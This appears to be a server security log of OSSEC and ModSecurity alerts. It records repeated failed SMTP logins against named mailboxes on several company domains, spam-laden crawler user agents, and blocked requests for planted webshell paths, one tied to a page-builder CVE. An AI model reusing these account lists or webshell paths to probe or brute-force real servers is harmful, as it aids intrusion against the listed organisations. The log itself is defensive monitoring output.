country_id: 1269750
description:
2026-07-07 12:09:32 dovecot_login authenticator failed for H=(host162.109.12.190.cps.com.ar) [128.185.201.26]:35884: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-07 12:14:17 dovecot_login authenticator failed for H=([112.31.109.13]) [125.23.255.134]:41350: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.181.79.60
country_id: 1819730
description:
2026-07-07 12:14:46 dovecot_login authenticator failed for H=([5.140.212.144]) [65.181.79.60]:53775: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-07 12:15:41 dovecot_login authenticator failed for H=([65.20.217.64]) [222.97.195.179]:53810: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.156.82.197
country_id: 1861060
description:
2026-07-07 12:17:10 dovecot_login authenticator failed for H=p2715197-ipngnfx01funabasi.chiba.ocn.ne.jp ([24.249.199.9]) [114.156.82.197]:52908: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-07 12:16:35 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com ([207.254.71.129]) [78.66.44.23]:35620: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-07 12:17:27 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [62.201.228.210]:51530: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-07 12:17:30 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [103.171.39.147]:55976: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-07 12:24:06 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([183.236.75.189]) [71.229.1.186]:51748: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
2026-07-07 12:24:38 dovecot_login authenticator failed for H=([49.124.147.249]) [218.150.226.139]:21899: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.80.17
country_id: 1835841
description:
2026-07-07 12:26:05 dovecot_login authenticator failed for H=([196.25.113.220]) [121.1.80.17]:43473: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-07 12:27:05 dovecot_login authenticator failed for H=(static.ill.61.2.246.139.bsnl.co.in) [218.156.8.97]:40762: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-07 12:26:54 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (h79-138-90-195.cust.bredband2.com) [218.219.193.151]:38258: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 106.219.166.169
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-26.106.219.166.169||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-07 12:27:22 dovecot_login authenticator failed for H=([70.166.167.44]) [125.19.158.2]:47840: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-07 12:29:58 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([65.99.181.123]) [87.115.211.6]:47834: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-07 12:30:24 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net ([182.252.140.114]) [110.25.107.172]:34448: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-07 12:32:06 dovecot_login authenticator failed for H=([36.135.100.48]) [121.131.220.137]:59115: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.158.2
country_id: 1269750
description:
2026-07-07 12:32:58 dovecot_login authenticator failed for H=([98.168.101.166]) [125.19.158.2]:50742: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-07 12:36:44 dovecot_login authenticator failed for H=(92x255x190x68.static-business.omsk.ertelecom.ru) [125.23.228.86]:57658: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.179.251
country_id: 99237
description:
2026-07-07 12:36:58 dovecot_login authenticator failed for H=([111.118.47.8]) [65.20.179.251]:41878: 535 Incorrect authentication data (set_id=it)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://wiki.philipphudek.de/index.php?title=H%C6%B0%E1%BB%9Bng_D%E1%BA%ABn_T%C3%ACm_N%C6%A1i_B%C3%A1n_Gi%E1%BB%91ng_C%C3%A0_Ph%C3%AA_%C4%90%C3%A1ng_Tin_C%E1%BA%ADy\">HTX Khuy\xe1\xba\xbfn N\xc3\xb4ng|N\xc3\xb4ng nghi\xe1\xbb\x87p T\xc3\xa2y Nguy\xc3\xaan|Vi\xe1\xbb\x87n Eakmat Daklak</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.182.76
country_id: 1835841
description:
2026-07-07 12:39:03 dovecot_login authenticator failed for H=([13.68.214.34]) [124.153.182.76]:34291: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.244.93.239
country_id: 6251999
description:
2026-07-07 12:39:31 dovecot_login authenticator failed for H=(dns58.online.tj.cn) [24.244.93.239]:43107: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-07 12:41:41 dovecot_login authenticator failed for H=([49.124.153.44]) [121.131.220.137]:55491: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.168.173
country_id: 298795
description:
2026-07-07 12:41:23 dovecot_login authenticator failed for H=(mx-ll-183.89.250-247.dynamic.3bb.in.th) [5.11.168.173]:60179: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 158.51.109.38
country_id: 1861060
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/visforms_save/VGYAnpq.php||SC:/home/stcinemas/public_html/images/visforms_save/VGYAnpq.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.230.168
country_id: 298795
description:
2026-07-07 12:44:43 dovecot_login authenticator failed for H=([14.38.177.105]) [78.187.230.168]:36979: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.40.114.86
country_id: 1835841
description:
2026-07-07 12:46:35 dovecot_login authenticator failed for H=(188-122-39-33.xdsl.5gdsl.com) [14.40.114.86]:54912: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.100.98.105
country_id: 718075
description:
2026-07-07 12:46:49 dovecot_login authenticator failed for H=(d157-90-252.home4.cgocable.net) [94.100.98.105]:39193: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-07 12:48:47 dovecot_login authenticator failed for H=(119.92.172.100.static.pldt.net) [196.188.93.169]:2112: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-07 12:53:08 dovecot_login authenticator failed for H=(c74-197-220-5.dh.suddenlink.net) [122.187.234.73]:49068: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-07 12:53:46 dovecot_login authenticator failed for H=([174.77.111.220]) [182.95.189.66]:51146: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.35.246.152
country_id: 6252001
description:
2026-07-07 12:53:55 dovecot_login authenticator failed for H=([184.170.245.145]) [136.35.246.152]:33458: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.150.241.128
country_id: 2921044
description:
2026-07-07 12:54:24 dovecot_login authenticator failed for H=p5796f180.dip0.t-ipconnect.de ([66.54.169.3]) [87.150.241.128]:60565: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.162.163
country_id: 2186224
description:
2026-07-07 12:57:17 dovecot_login authenticator failed for H=([120.198.138.185]) [121.73.162.163]:37542: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.230.188
country_id: 1835841
description:
2026-07-07 12:57:19 dovecot_login authenticator failed for H=(static.bb.ill.59.92.51.186.bsnl.in) [220.124.230.188]:34029: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.108.219
country_id: 2661886
description:
2026-07-07 12:57:43 dovecot_login authenticator failed for H=31-208-108-219.cust.bredband2.com (host-46-160-165-239.ugmk-telecom.ru) [31.208.108.219]:37737: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.52.56
country_id: 6252001
description:
2026-07-07 12:57:52 dovecot_login authenticator failed for H=24-119-52-56.cpe.sparklight.net ([211.49.80.72]) [24.119.52.56]:55524: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: gsmex.global
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783409293402.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.113.148.245
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/interactive-whiteboards-smartboards HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.229.98.52
country_id: 2510769
description:
2026-07-07 13:02:07 dovecot_login authenticator failed for H=([49.124.149.49]) [185.229.98.52]:54352: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.162.61.229
country_id: 1835841
description:
2026-07-07 13:02:21 dovecot_login authenticator failed for H=(m121-202-146-144.smartone.com) [121.162.61.229]:63448: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://onlyxvids.com/\">ONLYXVIDS</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.245.167
country_id: 3017382
description:
2026-07-07 13:04:38 dovecot_login authenticator failed for H=([174.75.211.195]) [87.106.245.167]:46080: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-07 13:06:21 dovecot_login authenticator failed for H=([220.179.255.54]) [171.244.60.35]:53275: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.107
country_id: 2215636
description:
2026-07-07 13:06:30 dovecot_login authenticator failed for H=([178.178.194.136]) [102.38.3.107]:58602: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.24.238.120
country_id: 2921044
description:
2026-07-07 13:06:45 dovecot_login authenticator failed for H=120-238-024-217.ip-addr.vsenet.de (host-static-178-132-144-161.moldtelecom.md) [217.24.238.120]:40392: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.168.136
country_id: 1269750
description:
2026-07-07 13:10:06 dovecot_login authenticator failed for H=([178.214.160.4]) [203.193.168.136]:48742: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-07 13:10:41 dovecot_login authenticator failed for H=([49.124.154.167]) [195.222.43.138]:33304: 535 Incorrect authentication data (set_id=pan)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.214.206.61
country_id: 1880251
domain: webmail.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/-fi1G9_VkT0n-VOcVFpJ5g7TXOCAtDcVYu0PWVsaeJ4||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 52.38.72.70
country_id: 6252001
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/cuq4m_fDSfEdSApQ_-VrwykTdzIcE57mO905llABFqo||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 52.77.236.22
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/XM3dKbcU-ty4RnHHODcaxnkdNHcFQSGtLDIFyuUAwek||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 13.214.206.61
country_id: 1880251
domain: cpcontacts.ibmcglobal.com
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/sCOd4FNGwoQ4UyHmsSG19C-lbIQiwEYMtF82X_63D4A||RSV:8.25||T:APACHE||


